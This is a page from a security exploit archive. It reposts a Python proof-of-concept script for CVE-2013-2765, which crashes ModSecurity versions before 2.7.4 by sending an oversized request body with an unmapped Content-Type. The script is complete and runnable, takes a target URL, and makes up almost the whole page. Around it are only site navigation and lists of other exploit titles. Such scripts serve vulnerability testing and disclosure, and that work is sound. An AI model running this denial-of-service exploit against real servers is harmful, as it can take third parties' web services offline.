首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ModSecurity Remote Null Pointer Dereference
来源:yjaaidi@shookalabs.com 作者:JAAIDI 发布时间:2013-06-03  

Source: http://packetstormsecurity.com/files/121815/modsecurity_cve_2013_2765_check.py.txt
When ModSecurity receives a request body with a size bigger than the value set by the "SecRequestBodyInMemoryLimit" and with a "Content-Type" that has no request body processor mapped to it, ModSecurity will systematically crash on every call to "forceRequestBodyVariable" (in phase 1). This is the proof of concept exploit. Versions prior to 2.7.4 are affected.

#!/usr/bin/env python3
#-*- coding: utf-8 -*-
#
# Created on Mar 29, 2013
#
# @author: Younes JAAIDI <yjaaidi@shookalabs.com>
#

import argparse
import http.client
import logging
import sys
import urllib.request

logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
logger.addHandler(logging.StreamHandler(sys.stderr))

class ModSecurityDOSCheck(object):

    _DEFAULT_REQUEST_BODY_SIZE = 200 # KB
    _DEFAULT_CONCURRENCY = 100
    _DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36"

    def __init__(self):
        self._request_counter = 0
        self._status_message = None

    def main(self, args_list):
        args_object = self._parse_args(args_list)
       
        payload = "A" * args_object.request_body_size * 1024
       
        request = urllib.request.Request(args_object.target_url,
                                         method = "GET",
                                         data = payload.encode('utf-8'),
                                         headers = {'Content-Type': 'text/random',
                                                    'User-Agent': self._DEFAULT_USER_AGENT})
       
        if self._send_request(request):
            logger.info("Target seems to be vulnerable!!!")
            return 0
        else:
            logger.info("Attack didn't work. Try increasing the 'REQUEST_BODY_SIZE'.")
            return 1

    def _parse_args(self, args_list):
        parser = argparse.ArgumentParser(description="ModSecurity DOS tool.")
        parser.add_argument('-t', '--target-url',
                            dest = 'target_url',
                            required = True,
                            help = "Target URL")
        parser.add_argument('-s', '--request-body-size',
                            dest = 'request_body_size',
                            default = self._DEFAULT_REQUEST_BODY_SIZE,
                            type = int,
                            help = "Request body size in KB")
       
        return parser.parse_args()

    def _send_request(self, request):
        try:
            urllib.request.urlopen(request)
            return False
        except (http.client.BadStatusLine, urllib.error.HTTPError):
            return True

if __name__ == '__main__':
    sys.exit(ModSecurityDOSCheck().main(sys.argv))


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Lianja SQL 1.0.0RC5.1 db_netse
·BOINC Manager (Seti@home) 7.0.
·Zyxel NBG5715 Local admin priv
·YeaLink IP Phone Firmware 9.70
·Intrasrv Simple Web Server 1.0
·Hindi Browser 1.2 Denial Of Se
·Logic Print 2013 - Stack Overf
·Apache Struts includeParams Re
·IBM SPSS SamplePower C1Tab Act
·Oracle WebCenter Content Check
·CodeBlocks 12.11 (Mac OS X) -
·Windows内核EPATHOBJ 0day explo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved